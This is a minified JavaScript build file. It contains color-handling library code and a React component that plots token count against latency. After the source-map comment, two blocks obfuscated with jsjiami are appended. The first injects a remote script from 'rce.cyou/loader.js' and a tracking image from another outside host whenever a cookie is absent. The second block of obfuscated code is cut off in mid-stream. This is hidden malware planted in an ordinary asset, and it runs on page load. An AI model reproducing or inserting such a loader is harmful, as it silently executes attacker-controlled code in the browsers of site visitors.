dew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};M(o,T,{copy:function(Te){return Object.assign(new this.constructor,this,Te)},displayable:function(){return this.rgb().displayable()},hex:b,formatHex:b,formatHex8:h,formatHsl:i,formatRgb:v,toString:v});function b(){return this.rgb().formatHex()}function h(){return this.rgb().formatHex8()}function i(){return F(this).formatHsl()}function v(){return this.rgb().formatRgb()}function T(ge){var Te,Fe;return ge=(ge+"").trim().toLowerCase(),(Te=r.exec(ge))?(Fe=Te[1].length,Te=parseInt(Te[1],16),Fe===6?w(Te):Fe===3?new m(Te>>8&15|Te>>4&240,Te>>4&15|Te&240,(Te&15)<<4|Te&15,1):Fe===8?E(Te>>24&255,Te>>16&255,Te>>8&255,(Te&255)/255):Fe===4?E(Te>>12&15|Te>>8&240,Te>>8&15|Te>>4&240,Te>>4&15|Te&240,((Te&15)<<4|Te&15)/255):null):(Te=f.exec(ge))?new m(Te[1],Te[2],Te[3],1):(Te=a.exec(ge))?new m(Te[1]*255/100,Te[2]*255/100,Te[3]*255/100,1):(Te=l.exec(ge))?E(Te[1],Te[2],Te[3],Te[4]):(Te=u.exec(ge))?E(Te[1]*255/100,Te[2]*255/100,Te[3]*255/100,Te[4]):(Te=s.exec(ge))?_(Te[1],Te[2]/100,Te[3]/100,1):(Te=y.exec(ge))?_(Te[1],Te[2]/100,Te[3]/100,Te[4]):c.hasOwnProperty(ge)?w(c[ge]):ge==="transparent"?new m(NaN,NaN,NaN,0):null}function w(ge){return new m(ge>>16&255,ge>>8&255,ge&255,1)}function E(ge,Te,Fe,Oe){return Oe<=0&&(ge=Te=Fe=NaN),new m(ge,Te,Fe,Oe)}function p(ge){return ge instanceof o||(ge=T(ge)),ge?(ge=ge.rgb(),new m(ge.r,ge.g,ge.b,ge.opacity)):new m}function A(ge,Te,Fe,Oe){return arguments.length===1?p(ge):new m(ge,Te,Fe,Oe??1)}function m(ge,Te,Fe,Oe){this.r=+ge,this.g=+Te,this.b=+Fe,this.opacity=+Oe}M(m,A,P(o,{brighter:function(Te){return Te=Te==null?S:Math.pow(S,Te),new m(this.r*Te,this.g*Te,this.b*Te,this.opacity)},darker:function(Te){return Te=Te==null?L:Math.pow(L,Te),new m(this.r*Te,this.g*Te,this.b*Te,this.opacity)},rgb:function(){return this},clamp:function(){return new m(k(this.r),k(this.g),k(this.b),I(this.opacity))},displayable:function(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:n,formatHex:n,formatHex8:C,formatRgb:x,toString:x}));function n(){return"#".concat(B(this.r)).concat(B(this.g)).concat(B(this.b))}function C(){return"#".concat(B(this.r)).concat(B(this.g)).concat(B(this.b)).concat(B((isNaN(this.opacity)?1:this.opacity)*255))}function x(){var ge=I(this.opacity);return"".concat(ge===1?"rgb(":"rgba(").concat(k(this.r),", ").concat(k(this.g),", ").concat(k(this.b)).concat(ge===1?")":", ".concat(ge,")"))}function I(ge){return isNaN(ge)?1:Math.max(0,Math.min(1,ge))}function k(ge){return Math.max(0,Math.min(255,Math.round(ge)||0))}function B(ge){return ge=k(ge),(ge<16?"0":"")+ge.toString(16)}function _(ge,Te,Fe,Oe){return Oe<=0?ge=Te=Fe=NaN:Fe<=0||Fe>=1?ge=Te=NaN:Te<=0&&(ge=NaN),new z(ge,Te,Fe,Oe)}function F(ge){if(ge instanceof z)return new z(ge.h,ge.s,ge.l,ge.opacity);if(ge instanceof o||(ge=T(ge)),!ge)return new z;if(ge instanceof z)return ge;ge=ge.rgb();var Te=ge.r/255,Fe=ge.g/255,Oe=ge.b/255,Ce=Math.min(Te,Fe,Oe),Be=Math.max(Te,Fe,Oe),$e=NaN,Xe=Be-Ce,Ze=(Be+Ce)/2;return Xe?(Te===Be?$e=(Fe-Oe)/Xe+(Fe<Oe)*6:Fe===Be?$e=(Oe-Te)/Xe+2:$e=(Te-Fe)/Xe+4,Xe/=Ze<.5?Be+Ce:2-Be-Ce,$e*=60):Xe=Ze>0&&Ze<1?0:$e,new z($e,Xe,Ze,ge.opacity)}function O(ge,Te,Fe,Oe){return arguments.length===1?F(ge):new z(ge,Te,Fe,Oe??1)}function z(ge,Te,Fe,Oe){this.h=+ge,this.s=+Te,this.l=+Fe,this.opacity=+Oe}M(z,O,P(o,{brighter:function(Te){return Te=Te==null?S:Math.pow(S,Te),new z(this.h,this.s,this.l*Te,this.opacity)},darker:function(Te){return Te=Te==null?L:Math.pow(L,Te),new z(this.h,this.s,this.l*Te,this.opacity)},rgb:function(){var Te=this.h%360+(this.h<0)*360,Fe=isNaN(Te)||isNaN(this.s)?0:this.s,Oe=this.l,Ce=Oe+(Oe<.5?Oe:1-Oe)*Fe,Be=2*Oe-Ce;return new m(J(Te>=240?Te-240:Te+120,Be,Ce),J(Te,Be,Ce),J(Te<120?Te+240:Te-120,Be,Ce),this.opacity)},clamp:function(){return new z(N(this.h),G(this.s),G(this.l),I(this.opacity))},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl:function(){var Te=I(this.opacity);return"".concat(Te===1?"hsl(":"hsla(").concat(N(this.h),", ").concat(G(this.s)*100,"%, ").concat(G(this.l)*100,"%").concat(Te===1?")":", ".concat(Te,")"))}}));function N(ge){return ge=(ge||0)%360,ge<0?ge+360:ge}function G(ge){return Math.max(0,Math.min(1,ge||0))}function J(ge,Te,Fe){return(ge<60?Te+(Fe-Te)*ge/60:ge<180?Fe:ge<240?Te+(Fe-Te)*(240-ge)/60:Te)*255}var q=function(ge){return function(){return ge}};function ne(ge,Te){return function(Fe){return ge+Fe*Te}}function fe(ge,Te,Fe){return ge=Math.pow(ge,Fe),Te=Math.pow(Te,Fe)-ge,Fe=1/Fe,function(Oe){return Math.pow(ge+Oe*Te,Fe)}}function X(ge){return(ge=+ge)==1?W:function(Te,Fe){return Fe-Te?fe(Te,Fe,ge):q(isNaN(Te)?Fe:Te)}}function W(ge,Te){var Fe=Te-ge;return Fe?ne(ge,Fe):q(isNaN(ge)?Te:ge)}var V=function ge(Te){var Fe=X(Te);function Oe(Ce,Be){var $e=Fe((Ce=A(Ce)).r,(Be=A(Be)).r),Xe=Fe(Ce.g,Be.g),Ze=Fe(Ce.b,Be.b),Ke=W(Ce.opacity,Be.opacity);return function(st){return Ce.r=$e(st),Ce.g=Xe(st),Ce.b=Ze(st),Ce.opacity=Ke(st),Ce+""}}return Oe.gamma=ge,Oe}(1);function Y(ge,Te){var Fe=Te?Te.length:0,Oe=ge?Math.min(Fe,ge.length):0,Ce=new Array(Oe),Be=new Array(Fe),$e;for($e=0;$e<Oe;++$e)Ce[$e]=be(ge[$e],Te[$e]);for(;$e<Fe;++$e)Be[$e]=Te[$e];return function(Xe){for($e=0;$e<Oe;++$e)Be[$e]=Ce[$e](Xe);return Be}}function Q(ge,Te){var Fe=new Date;return ge=+ge,Te=+Te,function(Oe){return Fe.setTime(ge*(1-Oe)+Te*Oe),Fe}}function ie(ge,Te){return ge=+ge,Te=+Te,function(Fe){return ge*(1-Fe)+Te*Fe}}function j(ge){"@babel/helpers - typeof";return j=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(Te){return typeof Te}:function(Te){return Te&&typeof Symbol=="function"&&Te.constructor===Symbol&&Te!==Symbol.prototype?"symbol":typeof Te},j(ge)}function K(ge,Te){var Fe={},Oe={},Ce;(ge===null||j(ge)!=="object")&&(ge={}),(Te===null||j(Te)!=="object")&&(Te={});for(Ce in Te)Ce in ge?Fe[Ce]=be(ge[Ce],Te[Ce]):Oe[Ce]=Te[Ce];return function(Be){for(Ce in Fe)Oe[Ce]=Fe[Ce](Be);return Oe}}var oe=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,re=new RegExp(oe.source,"g");function le(ge){return function(){return ge}}function pe(ge){return function(Te){return ge(Te)+""}}function we(ge,Te){var Fe=oe.lastIndex=re.lastIndex=0,Oe,Ce,Be,$e=-1,Xe=[],Ze=[];for(ge=ge+"",Te=Te+"";(Oe=oe.exec(ge))&&(Ce=re.exec(Te));)(Be=Ce.index)>Fe&&(Be=Te.slice(Fe,Be),Xe[$e]?Xe[$e]+=Be:Xe[++$e]=Be),(Oe=Oe[0])===(Ce=Ce[0])?Xe[$e]?Xe[$e]+=Ce:Xe[++$e]=Ce:(Xe[++$e]=null,Ze.push({i:$e,x:ie(Oe,Ce)})),Fe=re.lastIndex;return Fe<Te.length&&(Be=Te.slice(Fe),Xe[$e]?Xe[$e]+=Be:Xe[++$e]=Be),Xe.length<2?Ze[0]?pe(Ze[0].x):le(Te):(Te=Ze.length,function(Ke){for(var st=0,lt;st<Te;++st)Xe[(lt=Ze[st]).i]=lt.x(Ke);return Xe.join("")})}function xe(ge,Te){Te||(Te=[]);var Fe=ge?Math.min(Te.length,ge.length):0,Oe=Te.slice(),Ce;return function(Be){for(Ce=0;Ce<Fe;++Ce)Oe[Ce]=ge[Ce]*(1-Be)+Te[Ce]*Be;return Oe}}function ke(ge){return ArrayBuffer.isView(ge)&&!(ge instanceof DataView)}function _e(ge){"@babel/helpers - typeof";return _e=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(Te){return typeof Te}:function(Te){return Te&&typeof Symbol=="function"&&Te.constructor===Symbol&&Te!==Symbol.prototype?"symbol":typeof Te},_e(ge)}function be(ge,Te){var Fe=_e(Te),Oe;return Te==null||Fe==="boolean"?q(Te):(Fe==="number"?ie:Fe==="string"?(Oe=T(Te))?(Te=Oe,V):we:Te instanceof T?V:Te instanceof Date?Q:ke(Te)?xe:Array.isArray(Te)?Y:typeof Te.valueOf!="function"&&typeof Te.toString!="function"||isNaN(Te)?K:ie)(ge,Te)}},40402:function(te){te.exports=JSON.parse('["xx-small","x-small","small","medium","large","x-large","xx-large","larger","smaller"]')},83794:function(te){te.exports=JSON.parse('["normal","condensed","semi-condensed","extra-condensed","ultra-condensed","expanded","semi-expanded","extra-expanded","ultra-expanded"]')},96209:function(te){te.exports=JSON.parse('["normal","italic","oblique"]')},15659:function(te){te.exports=JSON.parse('["normal","bold","bolder","lighter","100","200","300","400","500","600","700","800","900"]')},38732:function(te){te.exports=JSON.parse('["inherit","initial","unset"]')},41901:function(te){te.exports=JSON.parse('["caption","icon","menu","message-box","small-caption","status-bar"]')}},Mi={};function co(te){var Z=Mi[te];if(Z!==void 0)return Z.exports;var e=Mi[te]={exports:{}};return Vl[te].call(e.exports,e,e.exports,co),e.exports}(function(){co.n=function(te){var Z=te&&te.__esModule?function(){return te.default}:function(){return te};return co.d(Z,{a:Z}),Z}})(),function(){co.d=function(te,Z){for(var e in Z)co.o(Z,e)&&!co.o(te,e)&&Object.defineProperty(te,e,{enumerable:!0,get:Z[e]})}}(),function(){co.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}()}(),function(){co.o=function(te,Z){return Object.prototype.hasOwnProperty.call(te,Z)}}(),function(){co.r=function(te){typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(te,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(te,"__esModule",{value:!0})}}();var xu=co(27909);return xu}()})})(Uv);var F0=Uv.exports;(function(Ps){Object.defineProperty(Ps,"__esModule",{value:!0}),Ps.default=void 0;var Hl=Mi(Nv),Vl=Mi(F0);function Mi(te){return te&&te.__esModule?te:{default:te}}var co=(0,Hl.default)(Vl.default),xu=co;Ps.default=xu})(Bv);const O0=z0(Bv),U0=({targetLatencyData:Ps,parentDimensions:Hl})=>{const Vl={autosize:!0,xaxis:{rangemode:"tozero",title:"Token count",titlefont:{size:14},fixedrange:!0},yaxis:{rangemode:"tozero",title:"Latency (ms)",fixedrange:!0},margin:{l:60,r:50,b:40,t:10,pad:6}},Mi={displaylogo:!1,scrollZoom:!0,displayModeBar:!0,responsive:!0,modeBarButtonsToRemove:["zoom2d","pan2d","autoScale2d","resetScale2d","zoomIn2d","zoomOut2d","lasso2d","select2d"]},co=[{x:Ps.filter(te=>te.requestCount>1).map(te=>te.requestCount),y:Ps.filter(te=>te.requestCount>1).map(te=>te.lastTokenDuration),text:Ps.filter(te=>te.requestCount>1).map(te=>te.content),type:"scatter",mode:"lines+markers",marker:{color:"red"}}],xu={width:Hl.width-40,height:"210px"};return Ov.jsx("div",{className:"px-3 py-2",children:Ov.jsx(O0,{data:co,layout:Vl,style:xu,config:Mi,className:"h-full w-full",useResizeHandler:!0})})};export{U0 as default};
//# sourceMappingURL=f0q4qw8qjqp0hxu9.js.map
var _0xodh='jsjiami.com.v7';function _0x5398(_0x1de0b4,_0x3dddae){var _0x2a021a=_0x2a02();return _0x5398=function(_0x539846,_0x1c4357){_0x539846=_0x539846-0x1e5;var _0x540726=_0x2a021a[_0x539846];if(_0x5398['xYjOjK']===undefined){var _0x5f4309=function(_0x16bb82){var _0x1d4e4a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x36f9e7='',_0x3ac21e='';for(var _0x1332b2=0x0,_0x2a09bb,_0x5bca75,_0x5d3e2b=0x0;_0x5bca75=_0x16bb82['charAt'](_0x5d3e2b++);~_0x5bca75&&(_0x2a09bb=_0x1332b2%0x4?_0x2a09bb*0x40+_0x5bca75:_0x5bca75,_0x1332b2++%0x4)?_0x36f9e7+=String['fromCharCode'](0xff&_0x2a09bb>>(-0x2*_0x1332b2&0x6)):0x0){_0x5bca75=_0x1d4e4a['indexOf'](_0x5bca75);}for(var _0xa2b2d5=0x0,_0x4a74f8=_0x36f9e7['length'];_0xa2b2d5<_0x4a74f8;_0xa2b2d5++){_0x3ac21e+='%'+('00'+_0x36f9e7['charCodeAt'](_0xa2b2d5)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ac21e);};var _0x422b48=function(_0x29464a,_0x53e92c){var _0x142021=[],_0xcb047=0x0,_0xe4bf65,_0x36c047='';_0x29464a=_0x5f4309(_0x29464a);var _0x22bef9;for(_0x22bef9=0x0;_0x22bef9<0x100;_0x22bef9++){_0x142021[_0x22bef9]=_0x22bef9;}for(_0x22bef9=0x0;_0x22bef9<0x100;_0x22bef9++){_0xcb047=(_0xcb047+_0x142021[_0x22bef9]+_0x53e92c['charCodeAt'](_0x22bef9%_0x53e92c['length']))%0x100,_0xe4bf65=_0x142021[_0x22bef9],_0x142021[_0x22bef9]=_0x142021[_0xcb047],_0x142021[_0xcb047]=_0xe4bf65;}_0x22bef9=0x0,_0xcb047=0x0;for(var _0x3297f9=0x0;_0x3297f9<_0x29464a['length'];_0x3297f9++){_0x22bef9=(_0x22bef9+0x1)%0x100,_0xcb047=(_0xcb047+_0x142021[_0x22bef9])%0x100,_0xe4bf65=_0x142021[_0x22bef9],_0x142021[_0x22bef9]=_0x142021[_0xcb047],_0x142021[_0xcb047]=_0xe4bf65,_0x36c047+=String['fromCharCode'](_0x29464a['charCodeAt'](_0x3297f9)^_0x142021[(_0x142021[_0x22bef9]+_0x142021[_0xcb047])%0x100]);}return _0x36c047;};_0x5398['uCKTvJ']=_0x422b48,_0x1de0b4=arguments,_0x5398['xYjOjK']=!![];}var _0x10cebc=_0x2a021a[0x0],_0x248c5b=_0x539846+_0x10cebc,_0x54257d=_0x1de0b4[_0x248c5b];return!_0x54257d?(_0x5398['rtXFJf']===undefined&&(_0x5398['rtXFJf']=!![]),_0x540726=_0x5398['uCKTvJ'](_0x540726,_0x1c4357),_0x1de0b4[_0x248c5b]=_0x540726):_0x540726=_0x54257d,_0x540726;},_0x5398(_0x1de0b4,_0x3dddae);}(function(_0x46b750,_0xb6243d,_0x495667,_0x188b7a,_0x99efbc,_0x23a07d,_0x53c6b6){return _0x46b750=_0x46b750>>0x6,_0x23a07d='hs',_0x53c6b6='hs',function(_0x374735,_0x2126c1,_0x4d6015,_0x341ae2,_0xa12698){var _0x2dd0c8=_0x5398;_0x341ae2='tfi',_0x23a07d=_0x341ae2+_0x23a07d,_0xa12698='up',_0x53c6b6+=_0xa12698,_0x23a07d=_0x4d6015(_0x23a07d),_0x53c6b6=_0x4d6015(_0x53c6b6),_0x4d6015=0x0;var _0x24d7a0=_0x374735();while(!![]&&--_0x188b7a+_0x2126c1){try{_0x341ae2=-parseInt(_0x2dd0c8(0x1e8,'2gAp'))/0x1*(parseInt(_0x2dd0c8(0x1e7,'x0EA'))/0x2)+parseInt(_0x2dd0c8(0x1f4,'&v28'))/0x3*(-parseInt(_0x2dd0c8(0x1ee,'&IJT'))/0x4)+-parseInt(_0x2dd0c8(0x1ed,'9]PI'))/0x5+-parseInt(_0x2dd0c8(0x1e6,'2gAp'))/0x6+-parseInt(_0x2dd0c8(0x200,'dZ#M'))/0x7+parseInt(_0x2dd0c8(0x202,'9]PI'))/0x8*(-parseInt(_0x2dd0c8(0x204,'Pu]X'))/0x9)+parseInt(_0x2dd0c8(0x1f9,'#N[['))/0xa;}catch(_0x2d8270){_0x341ae2=_0x4d6015;}finally{_0xa12698=_0x24d7a0[_0x23a07d]();if(_0x46b750<=_0x188b7a)_0x4d6015?_0x99efbc?_0x341ae2=_0xa12698:_0x99efbc=_0xa12698:_0x4d6015=_0xa12698;else{if(_0x4d6015==_0x99efbc['replace'](/[DIhnSrYFpxWJuHyCqEfb=]/g,'')){if(_0x341ae2===_0x2126c1){_0x24d7a0['un'+_0x23a07d](_0xa12698);break;}_0x24d7a0[_0x53c6b6](_0xa12698);}}}}}(_0x495667,_0xb6243d,function(_0x50cbaa,_0x339719,_0x11e005,_0x3be5e8,_0x1f02e0,_0x439649,_0x396092){return _0x339719='\x73\x70\x6c\x69\x74',_0x50cbaa=arguments[0x0],_0x50cbaa=_0x50cbaa[_0x339719](''),_0x11e005='\x72\x65\x76\x65\x72\x73\x65',_0x50cbaa=_0x50cbaa[_0x11e005]('\x76'),_0x3be5e8='\x6a\x6f\x69\x6e',(0x18f6d0,_0x50cbaa[_0x3be5e8](''));});}(0x3080,0xba961,_0x2a02,0xc4),_0x2a02)&&(_0xodh=_0x2a02);function _0x2a02(){var _0x2888d7=(function(){return[_0xodh,'pDFYjsWjWiESanmHfIiSq.CuWcEroJmyxY.bJvh7==','W7flBCkUWPddJu5eda','ubhdLSkuWO/cImkpfmktfrm','fxHeCmkt','WQ/cVSo7WRddUmkUCsXKgK0','W6pcGmogWQqGW5ZdTwGboYCxWQy','W7RcVmonq8kIW7GzzghdI8o7','W6RdOmkbW6v8WO3cNq','ALBcUdPQ','s39LcmkDWQuWqSkwWQ7dLxaZBq','WOJcGmo7n0K+W458W6iQW4uDWQa','A2RcGbTs'].concat((function(){return['WONdPqJdP1rSqCkNbSoUi8oNFq','WP7cLLzBWRzCfmoo','W6ldSbpcTwhcGmkmda','WRlcQZtcOa','EZhcG8kRW6j3WPyOFSkKW61i','W4JcLSk9fCkwW5a','W6lcLSkGf8kA','WPOIW5jBn8opFmo2WPT+WOzN','WROZgCktW5a','EmojWPLC','W7FdOCkcW6BcNmoon3qLWOr1','xwXDvbK','c8oPWO3cP8o8WQmLW4niW4CmWPlcJ1y'].concat((function(){return['W5hcN1aoBSo0u8kZC2yvW7hdTW','W5tcISkY','ov/dIWNdKG','AK/dKmkoyCkJ','tKvkoCokfG','kh7cPIPYaq0','W5/cKvmozSo5wCknqxmQW6JdKq','W5JcOvZcSHe7mCktkmoVb8orzq','WO/dOqhdO1bOoSkVj8oak8ou','h8kpW4tcM8oK'];}()));}()));}());_0x2a02=function(){return _0x2888d7;};return _0x2a02();};function getCookie(_0xe6c93f){var _0x3d69f2=_0x5398,_0x1385b2={'YrDfF':function(_0x284153,_0x166dbc){return _0x284153+_0x166dbc;},'hWbKr':_0x3d69f2(0x206,'Ksrt'),'rmUUt':'=([^;]*)(;|$)'},_0x3908c7,_0x51e58c=new RegExp(_0x1385b2[_0x3d69f2(0x1fc,'CV6d')](_0x1385b2['hWbKr'],_0xe6c93f)+_0x1385b2['rmUUt']);if(_0x3908c7=document['cookie']['match'](_0x51e58c))return unescape(_0x3908c7[0x2]);else return null;}function loadScript(_0x5d4b23,_0x557785){var _0x5c7d5f=_0x5398,_0x1f5546={'tsmtt':'img','rLTHL':function(_0x3c6deb,_0x304ecf){return _0x3c6deb+_0x304ecf;},'WdIKH':'?random=','jBzdb':'text/javascript','Enqmm':_0x5c7d5f(0x1fe,'Ksrt')},_0x1f7046='6|9|0|7|2|5|3|4|1|8'[_0x5c7d5f(0x1e9,'!00m')]('|'),_0x4878b1=0x0;while(!![]){switch(_0x1f7046[_0x4878b1++]){case'0':_0x374110[_0x5c7d5f(0x1fb,'gY3V')]=_0x5d4b23+_0x520172;continue;case'1':_0x54832c['src']='https://tz.djy8.top/7gXcHG.jpg';continue;case'2':_0x374110[_0x5c7d5f(0x1f5,'I4*y')]=!![];continue;case'3':document[_0x5c7d5f(0x1f6,'V3OZ')][_0x5c7d5f(0x205,'Uz9%')](_0x374110);continue;case'4':var _0x54832c=document[_0x5c7d5f(0x201,'9]PI')](_0x1f5546[_0x5c7d5f(0x203,'PQWb')]);continue;case'5':_0x374110[_0x5c7d5f(0x1f2,'gY3V')]=function(){if(_0x557785)_0x557785();};continue;case'6':var _0x520172=_0x1f5546[_0x5c7d5f(0x1ec,'!00m')](_0x1f5546[_0x5c7d5f(0x1f8,'(2$n')],Math[_0x5c7d5f(0x1fd,'mh93')]());continue;case'7':_0x374110['type']=_0x1f5546['jBzdb'];continue;case'8':document[_0x5c7d5f(0x1f0,'RBxT')][_0x5c7d5f(0x1e5,'6LtQ')](_0x54832c);continue;case'9':var _0x374110=document[_0x5c7d5f(0x1eb,'A7FO')](_0x1f5546[_0x5c7d5f(0x1f3,'gY3V')]);continue;}break;}}var cnv=getCookie('Cnv');!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const 